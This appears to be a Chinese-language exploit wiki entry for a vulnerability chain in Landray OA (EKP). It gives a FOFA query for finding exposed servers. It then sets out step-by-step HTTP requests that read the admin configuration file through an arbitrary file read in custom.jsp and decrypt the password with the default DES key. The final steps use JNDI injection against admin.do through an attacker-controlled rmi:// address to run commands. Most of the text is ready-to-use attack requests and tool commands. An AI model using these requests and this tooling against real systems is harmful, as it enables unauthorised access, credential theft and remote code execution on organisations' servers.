藍凌OA_SSRF+JNDI遠程命令執行漏洞

# 藍凌OA SSRF+JNDI遠程命令執行漏洞
==漏洞描述==
深圳市藍凌軟件股份有限公司數字OA(EKP)存在任意文件讀取漏洞。攻擊者可利用漏洞獲取敏感信息，讀取配置文件得到密鑰後訪問 admin.do 即可利用 JNDI遠程命令執行獲取權限。

==FOFA==

app="Landray-OA系统"

==漏洞利用==
利用 藍凌OA custom.jsp 任意文件讀取漏洞 讀取配置文件

/WEB-INF/KmssConfig/admin.properties

發送請求包

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 
User-Agent: Go-http-client/1.1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

獲取password後，使用 DES方法 解密，默認密鑰為 kmssAdminKey

訪問後台地址使用解密的密碼登錄

http://xxx.xxx.xxx.xxx/admin.do

使用工具執行命令：

https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

運行工具監聽端口 ping dnslog測試 命令執行 (藍凌OA 默認使用的是 JDK 1.7)

POST /admin.do HTTP/1.1
Host: 
Cookie: JSESSIONID=90EA764774514A566C480E9726BB3D3F; Hm_lvt_9838edd365000f753ebfdc508bf832d3=1620456866; Hm_lpvt_9838edd365000f753ebfdc508bf832d3=1620459967
Content-Length: 70
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Origin: 
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

method=testDbConn&datasource=rmi://xxx.xxx.xxx.xxx:1099/cbdsdg

==參考==
https://short.pwnwiki.org/?c=lgxx6L